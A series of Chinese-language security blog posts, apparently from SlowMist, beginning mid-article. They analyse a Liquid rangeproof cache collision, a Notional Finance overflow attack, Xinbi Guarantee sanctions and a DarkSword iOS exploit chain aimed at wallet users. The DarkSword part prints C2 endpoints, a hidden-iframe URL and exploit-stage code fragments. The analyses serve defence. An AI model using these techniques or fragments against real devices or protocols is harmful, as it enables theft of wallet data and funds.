这个名字来源于自然界的“水坑”：捕食者不需要追逐每一只猎物，只需要守在动物经常喝水的地方。
对于移动设备而言，这个“水坑”也可以进一步理解为一种更广义的可信入口：它可能是一家熟悉的网站，也可能是一个长期使用的 App、第三方 SDK、社区链接，甚至是正常应用的一次更新。
Q5：类似风险是否只存在于 FomoPeek？
不是。
FomoPeek 更值得关注的地方，并不只是某一个钱包用户是否安装过这一款 App，而是它再次说明：攻击入口可能隐藏在看起来完全正常、甚至来自官方应用商店的应用中。
公开案例中，ComeCome（拜托拜托） 就提供了另一个值得关注的样本。公开分析显示，这是一款面向迪拜等地区华人用户的外卖 App，其 2.9.3 版本被发现包含名为 DKStatistics 的隐藏组件，具备突破 iOS 沙箱并访问钱包 App、WhatsApp 和 Apple 备忘录等数据的能力；公开页面同时披露了相关链上资金流转情况。需要说明的是，该网站也明确区分了“可以公开核对的技术与链上事实”和“无法据此直接归因实际攻击者”的边界。
这类案例给出的提醒是：
“水坑”并不一定长得像一个危险的网站。它可能就是你每天打开的网站、工具、外卖 App、社区链接，甚至是从官方商店下载的软件。
从传统定义上讲，FomoPeek 和 ComeCome 更接近 App 投毒 / 可信渠道投毒，而不是经典的网页 Watering Hole；但背后的攻击思路非常接近——先进入目标群体信任和高频使用的入口，再等待目标主动进入攻击环境。
所以真正需要警惕的并不只是某一个 FomoPeek。水坑可能存在于任何被目标人群长期信任的地方。
ComeCome 公开案例可参考：https://comecome.icu/
关于 MistEye
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台，通过 API 提供开源包生态的恶意活动检测与供应链风险预警能力。
本次行动涉及的全部恶意包及 IOC 已接入 MistEye 威胁检测引擎，开发者可通过 API 对项目依赖进行自动化检测，快速判定是否命中已知恶意包并获取处置建议。
📖 API 文档：https://app.misteye.io/api-docs
🛠️ MistEye-DepScan：https://github.com/slowmist/MistEye-DepScan轻量级 CLI 工具，一行命令扫描项目依赖与全局安装包中的已知恶意包，支持 npm / PyPI / Cargo / Go / RubyGems 生态
🛠️ MistEye-Skills：https://github.com/slowmist/misteye-skillsAI 编码助手安全技能包，在依赖安装与 URL 访问前自动触发 MistEye 安全检测
🛠️ MistEye-DNS-Guard：https://github.com/slowmist/MistEye-DNS-GuardDNS 安全防护工具，检测恶意域名与风险访问，识别钓鱼、C2 等网络威胁
本文由 SlowMist 威胁情报团队结合 MistEye 威胁情报系统、SlowMist Agent AI驱动分析编写，有任何问题欢迎咨询反馈。

作者：Johan & Lisa
编辑：77
9 月 6 日 13:52:10 UTC，Liquid 的 4,050,335 号区块里出现两笔结构相同的交易。一分钟后，4,050,336 号区块确认了第三笔，约 3,998.5 枚 L-BTC 进入 UTXO 集，背后没有任何一笔 peg-in。再过几分钟，这些并不存在的资产开始被归拢、消费，随后经联邦 peg-out 通道兑成了比特币主网上的真 BTC。
次日，3,400 BTC 退回了联邦 peg 钱包。剩下的 598.5 BTC 留在攻击者手里，到发稿时还在被反复自我转账，每笔交易附带一段 OP_RETURN 明文，向联邦索要一成"赏金"。谈判至今仍在链上公开进行。
我们把 4,050,335 前后的区块逐笔核对了一遍，Bitcoin 侧的资金流用 MistTrack 跟到了每一跳。这篇文章讲两件事，攻击者在技术上做了什么，以及一段 2016 年就进代码库的性能优化，为什么十年后能兑走四千枚比特币。
攻击概览
Liquid 的钱是怎么管的
L-BTC 的发行只有一条正路。把 BTC 交进联邦管理的多签钱包，Liquid 侧才铸造等量的 L-BTC，反向走 peg-out 换回 BTC。这条一比一的锚定由机密交易机制看守。每个输出的金额不直接写在链上，藏进一个 Pedersen 承诺里；每个承诺必须附带一张 rangeproof，证明金额非负、没有越界。验证交易时，节点把输入和输出的承诺点分别求和，两边对得上，这笔账才算平。
只要有一个输出能塞进假 rangeproof，承诺里就可以藏一个负数，或者一个天文数字，凭空造币在数学上就成立了。所以 rangeproof 必须每一次都真验。
麻烦在于它贵。一张 rangeproof 通常四千多字节，验证是实打实的椭圆曲线运算，每个输出都要做一遍。2016 年 7 月 12 日，一笔标题为 Rangeproof caching 的提交（66ab07bd1b）进了 Elements 代码库，思路沿用比特币的签名缓存。验过的证明不再重验，"验证成功"这个结果存进一张缓存表，下次同样的输入直接放行。
这类优化在密码学代码里很常见。这次的全部问题，也出在它身上。
缓存键缺了什么
先看 23.3.3 发布版里的这段代码。
缓存键就是 proof 和 commitment 裸拼进同一条 SHA-256 流。proof 是变长字段，长的有四千多字节。这条键里没有资产，没有脚本，也没有任何字段边界信息。
今年 8 月 3 日的修复提交（c26d719）把资产承诺和锁定脚本补了进去，变成四个字段。方向没错，原先同一个证明确实可以配上不同的资产和脚本反复"复用"。补丁仍然把四个字段裸拼进同一条流。proof 和 scriptPubKey 都是变长字段，中间的边界可以从这里挪到那里。
9 月 8 日的加固提交（94000967f6）改用带长度前缀的序列化哈希。提交信息里有一段话说得很直白。
This serializes each field with a length prefix, so distinct argument tuples with byte-identical raw concatenations no longer collide to the same cache key. A cache entry is a positive verification result; a collision would let an attacker bypass verification.
缓存里存的是"验证通过"。键撞了，就等于替一个从没验过的东西作了保。同一笔提交还发现 surjection proof 的缓存键里连输入资产标签都没绑，一并修掉了。
命中即免验
放行发生在 CachingRangeProofChecker::VerifyRangeProof 的开头。
命中直接返回 true。后面的 secp256k1_rangeproof_verify、min_value 检查，一行都不会执行。
缓存的写入和清除各有一条规则，这是攻击时序的关键。交易进内存池时按可写入模式校验，验过的结果存进缓存，供将来进块时复用。区块连接时则相反，只查询、不写入，查到一次就打上可回收的标记。validation.cpp 第 2340 行的注释把后半条规则写得很清楚，原文是 Don't cache results if we're actually connecting blocks (still consult the cache, though)。
缓存条目是消耗品。攻击者要保证的只有一件事，趁目标节点还留着这条"已验证"记录的窗口，把携带碰撞载荷的交易递过去。
每个节点的缓存键还带一段启动时生成的随机盐。盐救不了它。盐加在所有字段的最前面，两条流本身就相同，加不加盐都相同，碰撞于是在每个节点上独立成立。
链上的八分钟
攻击从 13:52:10 开始，区块 4,050,335，两笔结构相同的 setup 交易被打进同一个区块。每笔带一个 OP_RETURN 输出，这个输出本身干干净净。资产是明文 L-BTC（6f0279e9…），金额承诺 C0（09d6c615…）附带一张诚实合法的 rangeproof P0，节点按正常流程验过。载荷藏在它的锁定脚本里。
6a43 ‖ C1 ‖ X ‖ 6a
0x43 是 67，正好把后面 67 个字节当作数据推入。C1（086f5d67…）是攻击输出准备使用的假金额承诺。X（0a0a488de489…）是一个盲化形式的资产承诺，单看字节读不出对应哪种资产。我们用仓库里的 secp256k1 实算过 L-BTC 的明文生成元，是 0ab963d4 开头，和 X 不是同一个点。这两个值作为字面数据躺进脚本，验证时只被当作普通数据。验完，每个节点的缓存里多了一条记录，键是这四个字段的裸拼接流。
中间还有一段 primer 的工夫。区块连接会把缓存条目用掉，攻击者就拿同样载荷的交易在内存池里反复播种，把各节点的缓存重新填上。具体哪几笔是 primer，从区块数据里反推不出来，它们可能根本没进块。两笔 setup 挤在同一个区块，大概也是为了条目被消耗后能马上补一手。
13:53:10，区块 4,050,336，铸造交易出现。它有一个核心输出，四个字段这样填。proof 放 P0 再跟 68 个字节的尾巴，尾巴内容是 C0、A、6a43，A 是 setup 输出自身的资产承诺。commitment 放 C1。asset_commitment 放 X。scriptPubKey 只剩一个字节，6a。
四个字段两两不同，把它们依次裸拼进 SHA-256，两条流逐字节相同。
节点验到这个输出，算键，命中，返回 true。secp256k1_rangeproof_verify 从未碰过这张证明。C1 背后的金额要多大有多大，再由负值承诺的输出把 Pedersen 求和抵平，约 3,998.5 枚 L-BTC 就这样进了 UTXO 集。
13:54:10 和 14:00:10，区块 4,050,337 和 4,050,343，两笔交易把相关 UTXO 归拢花出。peg-out 请求由联邦照常授权，等值真 BTC 经 Bitcoin 主网付出，收款地址 bc1ql4mfu6aundtkksxklfajs2h3t9nzcd6gyqjlte。从第一笔 setup 落块到资金开始归拢，前后八分钟。
返还与链上谈判
第二天，3,400 BTC 被转回联邦 peg 钱包 bc1qdlld6antmv4xug242ed83q7k4rqw50cwfns38szx4qu2f4jwaxxsuhwxxr。剩下的 598.5 BTC 留在原地，9 月 8 日到 10 日在 966,052 至 966,199 号区块间被反复自我花销，每笔附带 OP_RETURN 明文。其中一句写着 "You SHALL pay 10% using your own money as bug bounty"，落款留了 Telegram 账号 @MRBOND_1。留言里以白帽自居，要求联邦自掏腰包，按 10% 支付一笔正式赏金。谈判至今仍在链上公开进行。
MistTrack 资金追踪
在明确事件基本经过后，我们进一步对攻击者在 Liquid 和 Bitcoin 主网上的资金流向进行了追踪，并使用 MistTrack 对 Bitcoin 侧关键地址进行分析，再与链上数据交叉核验。
Liquid 侧，攻击者使用地址 ex1q7kgx4ptje7px48tn0nsmc6se5pngdp3smpqa2w 完成相关资产的归拢和消费。该地址共涉及 91 笔交易、247 个输出，目前已全部花费。由于 MistTrack 目前尚未覆盖 Liquid 链，因此 Liquid 侧从 L-BTC 铸造、UTXO 消费到后续 peg-out 的资金流，主要以区块浏览器数据逐笔核验。
在 Bitcoin 主网一侧，约 3,998.5 BTC 的 peg-out 资金最终进入地址 bc1ql4mfu6aundtkksxklfajs2h3t9nzcd6gyqjlte。MistTrack 对该地址的风险评分为 100/100，评级为 Severe，标签包括 Malicious Address / Involved Theft Activity，并与 Theft 类非法活动实体一跳直连，关联度为 100%。
从资金来源来看，该地址收到的 BTC 并不存在对应的正常资金本金，其来源可以追溯至前述 L-BTC 的铸造及后续 peg-out，攻击者实际承担的主要是相关交易手续费。
随后，这笔资金分成两部分。其中 3,400 BTC 于次日转入联邦 peg 钱包 bc1qdlld6antmv4xug242ed83q7k4rqw50cwfns38szx4qu2f4jwaxxsuhwxxr。通过 MistTrack 交易调查进行核验时，该地址也是 bc1ql4mfu… 转出目标中金额最高的地址，对应转账金额为 3,400 BTC，与链上数据一致。
剩余约 598.5 BTC 则仍由攻击者控制。9 月 8 日至 10 日期间，这部分资金在 Bitcoin 区块 966,052 至 966,199 之间持续发生自我转账，并通过 OP_RETURN 留言与联邦进行公开谈判。其中一条留言写有 “You SHALL pay 10% using your own money as bug bounty”，并留下 Telegram 账号 @MRBOND_1。目前相关谈判仍可在链上观察到。
综合目前的链上数据，攻击者从约 3,998.5 BTC 的 peg-out 资金中返还了 3,400 BTC，剩余约 598.5 BTC 仍处于其控制范围内，约占 peg-out 金额的 15%。后续我们将继续监控相关地址及资金变化。
结语
这段代码在仓库里待了十年，被无数节点跑了无数遍。8 月 3 日修过一次，9 月 6 日还是被打了。第一版补丁把缺的字段补进了哈希，漏掉字段边界，五周后边界被精确利用。9 月 8 日发布的 Elements 23.3.4 除了把键长度前缀化，还加了 -norangeproofcache 急停开关，运维可以不放行任何缓存结果，直接关掉这张表。
这次的教训可以压得很短。密码学验证路径上的正向结果缓存，命中即免验，它的键必须按密码学原语的标准对待。验证函数读进去的每个字段、每个字段的边界，都要无歧义地进哈希，长度前缀就是干这个的。缓存、记忆化、并行化这类性能优化，只要落在验证路径上，审计时就应当与被优化的密码学原语同等待遇。
慢雾安全团队建议项目方在部署前做一次完整的外部安全审计。共识层的审计清单里，验证缓存的键完整性应当列为必检项。

9 月 9 日，美国财政部外国资产控制办公室(OFAC) 和美国司法部(DOJ) 宣布针对新币担保(Xinbi Guarantee) 采取协调执法行动。OFAC 将新币担保及两家为其运营提供支持的公司列入制裁名单，DOJ 打击诈骗中心专案组(Scam Center Strike Force) 则查扣了相关平台基础设施和加密资产钱包。根据 DOJ 公告，本次协调行动共限制超过 5,200 万美元与新币担保及其商户网络相关的加密资产。
此次行动针对的并非单一诈骗团伙，而是支撑诈骗活动运转的服务网络。美国执法部门称，新币担保将诈骗团伙与提供洗钱、诈骗网站开发等服务的商户连接起来，并通过资金托管和交易担保等方式，为这些非法交易提供持续运转的条件。
制裁新币担保及其支持方并查扣关联资产
OFAC 依据经修订的第 13581 号行政令，将新币担保指定为重大跨国犯罪组织。同时被制裁的还有新加坡的 SafeW Technology 和柬埔寨的 Anwen Technology.。美国财政部称，前者开发了新币担保用于买卖双方联络的 SafeW 通信应用，后者开发了 XinbiPay（又称 NewPay wallet）加密支付及数字钱包应用。
DOJ 的行动则直接落在平台渠道和资金上。美国哥伦比亚特区联邦地区法院于 9 月 7 日授权查扣用于运营该市场的 Telegram 频道。执法部门随后查扣了两个由平台用于代商户收款的钱包，合计持有约 1,200 万美元，并寻求对另外 47 个被认为与新币担保洗钱网络及相关商户有关联的钱包采取资产限制措施。DOJ 表示，此次协调行动共限制了超过 5,200 万美元的加密资产，并在公告中感谢 Tether（USDT 发行方）提供协助。
诈骗资金如何进入新币担保的交易网络
新币担保约于 2022 年开始运营，是一个以中文为主的线上担保交易市场。据美国财政部披露的数据，其市场及相关平台自成立以来处理的数字资产与法币交易折合超过 240 亿美元。这一数字反映平台处理的交易规模，并不代表已核实的诈骗损失或被查扣金额。
从运作方式来看，新币担保平台将商户展示、资金托管和履约担保结合在一起。商户通过 Telegram 等渠道发布服务信息，诈骗团伙从中寻找洗钱服务、定制诈骗网站及其他作案资源。根据 DOJ 披露，买方购买服务后，平台可暂时保管应该支付给商户的款项，待服务完成后再支付。根据新币担保公告内容，商户需要缴纳保证金（押金），如果买方遭到商户欺骗，可以根据相关机制获得赔付；历史上商户支付押金主要使用 TRON 链上的 USDT。
对诈骗团伙而言，这套机制降低了与陌生地下服务商交易的风险，也降低了获取洗钱等服务的门槛。受害者资金被诈骗团伙取得后，可以进一步流向在平台上揽客的洗钱商户，由后者提供资金转移、兑换或变现等服务。DOJ 表示，调查人员已在多起案件中将美国受害者的资金追踪到具体商户；这些商户曾在新币担保频道发布洗钱广告，并公开用于收款的加密钱包地址。
而在这些商户构成的网络内部，资金来源也可能并不单一。根据慢雾(SlowMist) 威胁情报数据库匹配发现，部分被称为“黑U”的洗钱商户接收可以追溯至黑客攻击的被盗加密资产，再向客户交付来自其他非法收入流的稳定币，其中包括“杀猪盘”和情感诈骗所得。这表明，不同类型的非法资金可能在同一商户网络中交汇，并通过不同的地址和资产形式完成转移与置换。
因此，分析这类地下交易市场，不能只关注平台本身，还需要识别平台背后的商户网络及其收款地址。平台通过广告、托管和保证金机制促成交易，具体洗钱活动则可能由不同商户执行。如果调查或风控只关注平台名称，或者只监控少数公开钱包，就可能遗漏商户实际使用的收款地址，以及这些地址后续的资金流向。
从汇旺担保到新币担保：MistTrack 持续追踪非法资金网络
新币担保的发展也与同类市场受到监管和执法打击后的业务迁移有关。美国财政部指出，在汇旺体系受到监管措施影响后，部分网络犯罪活动转向新币担保，后者继续向重叠的客户群提供类似服务。财政部还披露，新币担保约从 2025 年 6 月开始，将商户及洗钱网络迁往 SafeW，并同期推出 XinbiPay（又称 NewPay wallet）。
平台可以更换，商户、地址和资金关系仍然需要持续识别。从 Huione Guarantee（汇旺担保）到 Xinbi Guarantee（新币担保），慢雾 MistTrack 持续标记相关风险地址，追踪并穿透非法资金转移链路。
目前 MistTrack 已识别并标记数十种汇旺担保相关变种，包括土豆担保、七天担保、福利来担保、金贝担保、新币担保等。同时，MistTrack 的分析能力已覆盖 19 条主流区块链、100+ Token、18 种稳定币、积累 5 亿+ 实体地址标签、10,000+ 实体，50 万 + 威胁情报数据，25 类风险类型，为链上风险识别和资金分析提供底层支撑。持续监测也使地址标签能够与实际资金变化相互印证，为机构排查自身风险敞口提供线索。
在此基础上，慢雾通过 MistTrack 的地址标签、风险识别和资金追踪能力，结合慢雾 KYT 的持续交易监测与可配置风控规则，面向金融、支付等机构提供 AML（反洗钱）与 KYT（了解你的交易）能力。机构可将这些能力接入客户及交易对手筛查、充值提现、支付结算等业务环节，识别直接或间接关联诈骗、洗钱及受制裁实体的资金风险，并为可疑交易复核和后续调查保留链上依据。
非法交易网络可能持续迁移，但商户、地址和资金关系仍会留下链上痕迹。对于金融和支付机构而言，持续识别这些关联关系，有助于及时发现潜在风险并排查风险敞口。慢雾将持续更新相关风险标签与关联情报，为机构开展链上风险监测和非法资金分析提供支持。
如果您正在关注如何将链上风险识别能力应用于您的业务场景，欢迎联系我们获取进一步信息。
网站：https://misttrack.io/
邮箱：support@misttrack.io
表单：https://kyt.slowmist.com/cn/get-started.html
参考资料
[1] https://home.treasury.gov/news/press-releases/sb0624/
[2] https://www.justice.gov/usao-dc/pr/scam-center-strike-force-conducts-seizures-chinese-run-illicit-scammer-marketplace-and

作者：九九
编辑：77
背景
2026 年 9 月 4 日，知名去中心化借贷平台 Notional Finance 遭到攻击，损失约 173 万美元。以下是慢雾安全团队针对本次攻击事件的具体分析：
前置知识
在 Notional Finance V1 中，fCash 可以理解成带到期日的现金债权。cash receiver 在到期时收款，cash payer 在到期时付款。协议把两种仓位都记在 Portfolio 里，再通过自由抵押品检查判断一个账户是否可以建立仓位的健康程度。
ERC1155Trade 的 safeTransferFrom 在这里承担了资产记账功能。传入的资产类型属于 cash receiver 时，合约会调用 Portfolios.mintfCashPair，同时给 payer 记上一笔负债，给 receiver 记上一笔等额债权。这个调用看起来像 ERC1155 转账，结果却是一次 fCash 成对铸造。
新仓位写入 Portfolio 后，需要进行自由抵押品的计算和检查。RiskFramework 合约会先把 payer 的 fCash 负债汇总成有符号的 int256，再把各币种余额换算成 ETH 进行汇总。负数代表需要支付的现金，正数代表账户拥有的现金或债权。这个计算结果决定了交易能不能允许进行。
仓位到期后，Portfolio 会调用 Escrow 的 portfolioSettleCash 函数，把到期的 fCash 变成现金余额。账户再通过提款函数从 Escrow 取出对应的 DAI 或 USDC 资产。
根本原因
本次攻击核心漏洞在于 Escrow 实现合约所使用的 ExchangeRate._convertToETH，其中有一处代码会把有符号整数的绝对值直接转换成 uint128。
攻击者先建立了两笔相同 payer 的负债仓位，金额分别是 1 和 uint128.max。两笔负债相加后正好得到 2^128。由于 payer 在风险计算中付款是记为负数的，所以 Escrow 的 convertBalancesToETH 传入的关键参数则是 -2^128。
但是本合约所使用的 Solidity 版本是 0.6.x, 所以其绝对值 2^128 被强制转换成 uint128 后会被溢出变成 0，这笔负债也就没有进入 ETH 计价结果。
最后在 mintfCashPair 函数中只要求 payer 的自由抵押品大于或等于零，于是在结果溢出为 0 后可以通过该项检查，一个没有足够资产覆盖负债的账户仍然可以建立仓位。
攻击步骤分析
1. 在前置交易（0xe1589a19…d60a）中，攻击者首先创建了多个辅助合约，并调用 ERC1155Trade 合约的 setApprovalForAl 函数为辅助合约授权；此外还提前查询了两个 CashMarket 的到期日，计算好后续操作中需要传入的三种 AssetId 参数的值。
2. 紧接着，攻击者通过调用 ERC1155Trade 合约的 safeTransferFrom 函数铸造一笔数额为 1 的 fCash pair，对应债券资产的 cashGroupId 为 2，到期日时间戳为 1788480000（2026 年 9 月 4 日 8 点整）。其中会调用内部函数 _upsertAsset 对 from 地址（攻击合约）和 to 地址（接收合约 1）分别更新其负债和预期收入。
在 pair 铸造完成后，Portfolios 会立即检查攻击合约的自由抵押品，而由于第一次铸造的数量过小，在当前汇率和精度下换算成 ETH 后会被舍入为零，所以第一次检查能够通过。
3. 攻击者随后再次调用 ERC1155Trade 合约的 safeTransferFrom 函数铸造一笔数额为 uint128.max 的 fCash pair，这一次对应的债券资产的 cashGroupId 为 2，但是到期日时间戳却是 1796256000（2026 年 12 月 3 日 8 点整）。
这里有个细节，攻击者分别给两个不同的地址铸造了到期日不同的债券资产。这是因为在对 from 地址更新负债的时候，如果债券资产是相同的话则会直接对其进行累加，会导致在处理加法时因为溢出而 revert（合约使用了 safeMath 库）。
4. 在第二次铸造对 from 地址（攻击合约）和 to 地址（接收合约 2）更新完负债和预期收入后，mintfCashPair 函数会调用 freeCollateral 函数来计算 from 地址的净抵押品头寸并检查其需要大于等于 0 才是健康的。
其中会先在 RiskFrameork 合约中的 getRequirement 函数里对 from 地址的两次铸造的负债总和进行相加：
其最终结果为 -2^128，接着会调用 Escrow 合约的 convertBalancesToETH 函数将这个数值转换成 ETH 计价，而 convertBalancesToETH 函数又会调用 ExchangeRate 库的 _convertToETH 函数进行计算处理：
跟进到 _convertToETH 函数中，可以发现其会先将 balance 取绝对值后再调用 uint128 将 256 位转换成 128 位，而上面 from 的负债总和数值为 -2^128，取绝对值后的 2^128 在进行 uint128() 强转换时就会导致超出上限而溢出为 0。这就意味着协议误认为 from 地址的自由抵押品头寸为 0 是健康的，从而通过了 mintfCashPair 函数中的最终检查。
5. 之后接收合约 2 把其仓位又拆分给了另外的两个辅助合约，这两个 safeTransferFrom 仍然会进入 mintfCashPair 函数。但是因为此时的 payer 是第二次铸造时的接收合约 2，其持有前一步得到的巨大的预期收入仓位，风险计算将它视为正向债权从而通过了抵押品检查，两个辅助合约因此获得了到期后可以换成现金的 receiver fCash。
6. 攻击者随后发起了第二笔正式的获利交易，在这笔交易中，分别为上一笔交易的两个持有仓位的辅助合约结算其对应的债权，增加对应资产的现金余额，之后调用 Escrow 合约的 withdraw 函数将其资产提款获利。
总结
这次攻击事件的关键点在于攻击者先利用两个单独的仓位，把 payer 负债之和凑成 2^128，再让 Escrow 把这笔负债换算成 ETH。利用类型转换中的溢出漏洞把结果截断成零，风险检查因此放行通过。
慢雾安全团队建议项目方在进行类型转换前必须做范围检查，超过 type(uint128).max 的结果直接拒绝，与此同时，所有涉及有符号金额、精度缩放和资产面额的边界都应加入极值测试，尤其要覆盖 uint128.max、uint128.max + 1 和负数绝对值这几类输入。可以参考或使用 Openzeppelin 的 SafeCast 库进行转换处理。

背景
一个免费赠送 VPS 的活动页面，实则是一张诱饵。从公开网页存档恢复的页面显示，2026 年 8 月末注册的 event[.]polarnode[.]vip 把 https[:]//lk[.]wyincc[.]com/lk.js 声明为预加载脚本，页面可交互后自动加载，访客无需点击。
对保存的 loader 样本解码后我们确认，它面向运行 iOS 18.4–18.6.2 的 iPhone 纯 Safari 投递，最终指向文件、钥匙串（Keychain）和键盘输入采集，目标为三款钱包应用。这条链与 Google Threat Intelligence Group (GTIG) 公布的 DarkSword iOS 利用链高度一致，对应六个 CVE，属 n-day 复用。
本文分析基于 1k[.]wyincc[.]com/lk[.]js 的主体 loader 样本与 urlscan 保存的 lk[.]wyincc[.]com/lk[.]js 快照，对六个 CVE 与后利用能力的分析限定于 /dist/sandbox.html 链。
该手法并非孤例。socket.dev 同期报告披露，13 个恶意 Packagist 主题通过 WebKit 到内核的利用链窃取设备数据与钱包助记词，所用 CVE 与本报告的 DarkSword 对应有重叠。
本文分析基于静态证据，未运行样本、未打开 iframe，也未把任何响应交给浏览器或 JavaScript 引擎。取证阶段的远程下载与合成 C2 请求均在单独授权下完成，未发送真实设备数据。文中对代码能力的描述表示代码存在相应实现或调用路径，不代表相关操作已在真实设备上成功发生。
MistEye 响应
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统，集成了安全监控与情报聚合能力，为用户提供实时的风险预警与资产守护。
MistEye 在收到该样本后，还原了从设备筛选、隐藏 iframe 投递到多阶段利用与后利用的完整攻击链，提取相关域名、IP 与恶意文件 IOC，并将恶意包及 IOC 接入威胁检测引擎，向相关用户下发风险告警与处置建议。
以下为详细技术分析。
解码
样本没有换行符，一行到底。它的混淆分三层：一个 1,025 项的字符串数组，启动时由一个立即执行函数整体左移，以及逐字符串的自定义 Base64 与 RC4。自定义字母表把小写字母排在大写字母之前：
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=
解码产物 SHA-256 为 38b43a6d27b08ff94a600fbe8182b4a2ba0eb744f68801a2d3454431f78e9fa5。解码器只读取文本并做自己的 Base64/RC4 变换，不求值任何 JavaScript。
明文还原出一份固定配置：服务端 https[:]//lk[.]wyincc[.]com，首选 SDK 端点 13[.]248[.]210[.]49:36887，后备端点 66[.]117[.]225[.]238:36887，20 秒心跳，device_source 为 782391，客户端标识 web-sdk V1.0。配置还嵌了一段 RSA 公钥，SHA-256 为 85ec8a4c83463565b3a517b6ee9d010fbf6643c49a67245c64b27bd8a0e43681，后续阶段用它加密发往 SDK 端点的流量。
配置里三款目标应用值得先标出来：imToken (im.token.app)、TokenPocket (com.global.wallet.ios) 和 TronLink (com.tronlink.hdwallet)。同一组标识稍后再次出现在键盘采集任务里。
定向与投递
解码后的第一件事是决定把载荷给谁。本文主体分析的 1k[.]wyincc[.]com loader 样本用 /iPhone OS (\d+)[_.](\d+)/i 解析 navigator.userAgent，混淆算术化简后，版本判断等价于：
if (major !== 18 || minor < 4 || minor > 6) return;
在该 loader 样本中，只有 iPhone 形态的 iOS 18.4–18.6.x 能通过。浏览器判断还要求同时含 Safari/、Version/ 和 Mobile/... Safari，并排除 iOS 上的 Chrome、Firefox、Opera、Edge（CriOS、FxiOS、OPiOS、EdgiOS），以及微信、QQ、Telegram、支付宝和一批社交、新闻应用的内嵌 WebView。正则只匹配 iPhone OS，不匹配 iPad 使用的 CPU OS。
urlscan 保存的页面实际引用的 loader 快照没有移除上述分支：运行 iOS 18.4–18.6.2 的 iPhone 仍进入 /dist/sandbox.html。与主体分析的 loader 样本相比，它还使用 iPhone|iPod 做全局设备匹配，把 iPod touch 也纳入，并增加 iOS 15.2 至 17.1 的白名单，把这些旧版本与 iPod touch 交接至额外的 /group.html 分支。
没有通过筛选的访客不会被简单忽略。代码把当前页面的所有子元素隐藏，显示一个多语言提示，让用户复制地址再用 Safari 打开。这是一个兼容提示，同时也主动把访客引向利用需要的浏览器环境。
通过筛选的访客会进入执行锁和冷却逻辑：收到 pe_injected、chain_locked 消息后写入本地状态和 cookie，防止同一设备重复触发。UID 由时间戳加随机字符组成。两个消息监听器只检查 event.data.type，不校验 event.origin 或 event.source，同页其他 frame 可以伪造这些消息提前触发锁或冷却。
交付链
以下完整交付链分析适用于两个加载器共同保留的 /dist/sandbox.html 分支。页面实际引用的 loader 快照额外包含 /group.html 并行分支，但该路径被前置 WAF 以 HTTP 403 拦截，本次未取得其下游内容；因此本文不把该分支归入后述 DarkSword 谱系、六个 CVE 或数据采集能力。
在运行 iOS 18.4–18.6.2 的 iPhone 通过筛选后，加载器构造一个隐藏 iframe，地址模板固定为：
https://lk.wyincc.com/dist/sandbox.html?d=<URL-encoded Base64 JSON>
初始 loader 到 sandbox.html 的配置传递已确认通过 URL 的 ?d= 参数完成。d 承载 URL 编码的 Base64 JSON，内容包括当前站点 origin、hostname、utm_source、会话 UID，以及 SDK 端点、RSA 公钥、device_source 和目标钱包配置。因为 UID 和站点字段在运行时生成，没有唯一的固定第三阶段 URL 可以预先还原。为继续跟踪，我们用配置里重建的参数在取证条件下取得了 sandbox.html。
iframe 用一段样式保持在屏幕外、不可见。sandbox 页面随后通过动态 script 元素加载 chunks/vendor.js。vendor 再次检查版本并分路：iOS 18.6 下载 runtime.js 并封装成 Blob Worker；iOS 18.4、18.5 下载 runtime-legacy.js，另取并在页面里 eval polyfill.js。legacy RCE 路径通过页面上下文与 Worker 上下文之间的 postMessage 传递和同步利用状态，协调 RCE 原语建立及后续阶段交接；这不同于上文仅负责执行锁/冷却的 pe_injected、chain_locked 消息监听器。
后面的每一段都只在前一段成功后下载。整条链包含两层沙箱逃逸，代码分别以 SBX0、SBX1 标识：SBX0 把执行从网页内容进程带到 GPU 进程，SBX1 再从 GPU 进程带到 mediaplaybackd。
runtime.js（18.6）利用 CVE-2025-43529（JavaScriptCore DFG JIT 的垃圾回收缺陷导致的内存破坏）配合 CVE-2026-20700（dyld 用户态 PAC 指针认证绕过），建立 JavaScriptCore/WebKit 的远程代码执行（RCE）原语：对象地址 addrof、伪对象 fakeobj、任意读写、PAC（指针认证）处理和原生调用，然后同步取得并 eval framework.js。runtime-legacy.js 与 polyfill.js 为 18.4/18.5 提供同样原语，对应 CVE-2025-31277（JavaScriptCore JIT 优化/类型混淆导致的内存破坏）与 CVE-2026-20700。
// runtime.js（18.6）——RCE 原语
function addrof(object){ return BigInt.fromDouble(p_rce.addrof(object)) }
function fakeobj(addr){ return p_rce.fakeobj(addr.asDouble()) }
// read32 / read64 / write8 / write64 在同一 fakeobj/scribble 机制上构建
// runtime.js —— SBX0 交接（eval framework.js）
print("[RCE] 开始加载 SBX0 沙箱逃逸...");
const sbx0_script = getJS("framework.js?" + Date.now());
eval(sbx0_script)
framework.js 实现 SBX0——利用 CVE-2025-14174（ANGLE/WebGL 中特定操作参数校验不足导致的越界内存读写），把执行从网页内容进程带到 GPU 进程，在 SBX0 SUCCEEDED 分支后加载 common.js；framework-legacy.js 是 legacy 对应物。
// framework.js —— SBX0 入口
print("[SBX0] ======== sbx0_main.js eval 开始 ========");
const { write8, read32, read64, write64, dlopen, dlsym, device_model, chipset } = p;
common.js 实现 SBX1——利用 CVE-2025-43510（XNU 内核写时复制（COW）内存管理缺陷），从 GPU 进程逃逸到权限更高的 mediaplaybackd，包含其 XPC 端点、IOSurface/Scaler 路径和 sbx1sbx1_exp 例程，然后加载 app.js；common-legacy.js 复用已有的 app.js。
// common.js —— SBX1 的 mediaplaybackd XPC 锚点与提权交接
let XPC_ENDPOINT_REMAKER = "com.apple.coremedia.mediaplaybackd.remaker.xpc";
remaker_connection = xpc_connection_create_mach_service(XPC_ENDPOINT_REMAKER, 0n, 0n);
function spawn_pe(){ LOG("Spawning PE...."); let pe_stage1_js_data_array = new Uint8Array([...]); }
app.js 利用 CVE-2025-43520（XNU 虚拟文件系统 VFS 的内核竞态条件导致的内存破坏）构建内核读写与提权原语，含内核读写封装、MigFilterBypass、沙箱扩展 applySandboxEscape、崩溃报告删除，以及取得三个插件并注入三个系统进程的协调逻辑。三个插件为 sync.js、auth.js 和 input.js，并恢复出与三类插件一一对应的三个任务脚本。
// app.js —— 内核读写与提权入口
let kernel_base = 0n; let kernel_slide = 0n; let is_a18_devices = false;
function pe_v1() { /* ... */ }
三条注入路径各自发起一次明文 HTTP GET 取得插件，再把响应交给对应进程：
var inject = new InjectJS("SpringBoard", agentCode, migFilterBypass);
